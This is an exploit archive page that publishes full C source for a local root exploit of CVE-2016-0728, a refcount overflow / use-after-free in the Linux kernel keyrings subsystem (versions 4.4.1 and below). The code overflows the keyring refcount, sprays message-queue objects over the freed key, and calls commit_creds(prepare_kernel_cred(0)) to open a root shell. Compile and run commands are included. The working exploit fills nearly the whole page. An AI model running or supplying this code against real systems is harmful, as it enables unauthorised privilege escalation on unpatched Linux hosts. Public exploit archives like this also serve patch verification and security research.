exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Linux Kernel 4.4.1 REFCOUNT Overflow / Use-After-Free

Linux Kernel 4.4.1 REFCOUNT Overflow / Use-After-Free
Posted Jan 19, 2016
Authored by Federico Bento

Linux kernel versions 4.4.1 and below REFCOUNT overflow / use-after free keyrings local root exploit.

tags | exploit, overflow, kernel, local, root
systems | linux
advisories | CVE-2016-0728
SHA-256 | ff28a80090cf606fd0d4f578152d8d24cafca71bf951cb58596dc39c575c5aae

Linux Kernel 4.4.1 REFCOUNT Overflow / Use-After-Free

Change Mirror Download
/*
# Exploit Title: Linux kernel REFCOUNT overflow/Use-After-Free in keyrings
# Date: 19/1/2016
# Exploit Author: Perception Point Team
# CVE : CVE-2016-0728
*/

/* CVE-2016-0728 local root exploit
modified by Federico Bento to read kernel symbols from /proc/kallsyms
props to grsecurity/PaX for preventing this in so many ways

$ gcc cve_2016_0728.c -o cve_2016_0728 -lkeyutils -Wall
$ ./cve_2016_072 PP_KEY */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <keyutils.h>
#include <unistd.h>
#include <time.h>
#include <unistd.h>

#include <sys/ipc.h>
#include <sys/msg.h>

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

#define STRUCT_LEN (0xb8 - 0x30)
#define COMMIT_CREDS_ADDR (0xffffffff810bb050)
#define PREPARE_KERNEL_CREDS_ADDR (0xffffffff810bb370)



struct key_type {
char * name;
size_t datalen;
void * vet_description;
void * preparse;
void * free_preparse;
void * instantiate;
void * update;
void * match_preparse;
void * match_free;
void * revoke;
void * destroy;
};

/* thanks spender - Federico Bento */
static unsigned long get_kernel_sym(char *name)
{
FILE *f;
unsigned long addr;
char dummy;
char sname[256];
int ret;

f = fopen("/proc/kallsyms", "r");
if (f == NULL) {
fprintf(stdout, "Unable to obtain symbol listing!\n");
exit(0);
}

ret = 0;
while(ret != EOF) {
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
fprintf(stdout, "[+] Resolved %s to %p\n", name, (void *)addr);
fclose(f);
return addr;
}
}

fclose(f);
return 0;
}

void userspace_revoke(void * key) {
commit_creds(prepare_kernel_cred(0));
}

int main(int argc, const char *argv[]) {
const char *keyring_name;
size_t i = 0;
unsigned long int l = 0x100000000/2;
key_serial_t serial = -1;
pid_t pid = -1;
struct key_type * my_key_type = NULL;

struct {
long mtype;
char mtext[STRUCT_LEN];
} msg = {0x4141414141414141, {0}};
int msqid;

if (argc != 2) {
puts("usage: ./keys <key_name>");
return 1;
}

printf("[+] uid=%d, euid=%d\n", getuid(), geteuid());
commit_creds = (_commit_creds)get_kernel_sym("commit_creds");
prepare_kernel_cred = (_prepare_kernel_cred)get_kernel_sym("prepare_kernel_cred");
if(commit_creds == NULL || prepare_kernel_cred == NULL) {
commit_creds = (_commit_creds)COMMIT_CREDS_ADDR;
prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CREDS_ADDR;
if(commit_creds == (_commit_creds)0xffffffff810bb050 || prepare_kernel_cred == (_prepare_kernel_cred)0xffffffff810bb370)
puts("[-] You probably need to change the address of commit_creds and prepare_kernel_cred in source");
}

my_key_type = malloc(sizeof(*my_key_type));

my_key_type->revoke = (void*)userspace_revoke;
memset(msg.mtext, 'A', sizeof(msg.mtext));

// key->uid
*(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */
//key->perm
*(int*)(&msg.mtext[64]) = 0x3f3f3f3f;

//key->type
*(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type;

if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
perror("msgget");
exit(1);
}

keyring_name = argv[1];

/* Set the new session keyring before we start */

serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name);
if (serial < 0) {
perror("keyctl");
return -1;
}

if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
perror("keyctl");
return -1;
}


puts("[+] Increfing...");
for (i = 1; i < 0xfffffffd; i++) {
if (i == (0xffffffff - l)) {
l = l/2;
sleep(5);
}
if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
perror("[-] keyctl");
return -1;
}
}
sleep(5);
/* here we are going to leak the last references to overflow */
for (i=0; i<5; ++i) {
if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
perror("[-] keyctl");
return -1;
}
}

puts("[+] Finished increfing");
puts("[+] Forking...");
/* allocate msg struct in the kernel rewriting the freed keyring object */
for (i=0; i<64; i++) {
pid = fork();
if (pid == -1) {
perror("[-] fork");
return -1;
}

if (pid == 0) {
sleep(2);
if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
perror("[-] msgget");
exit(1);
}
for (i = 0; i < 64; i++) {
if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) {
perror("[-] msgsnd");
exit(1);
}
}
sleep(-1);
exit(1);
}
}

puts("[+] Finished forking");
sleep(5);

/* call userspace_revoke from kernel */
puts("[+] Caling revoke...");
if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) {
perror("[+] keyctl_revoke");
}

printf("uid=%d, euid=%d\n", getuid(), geteuid());
execl("/bin/sh", "/bin/sh", NULL);

return 0;
}

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close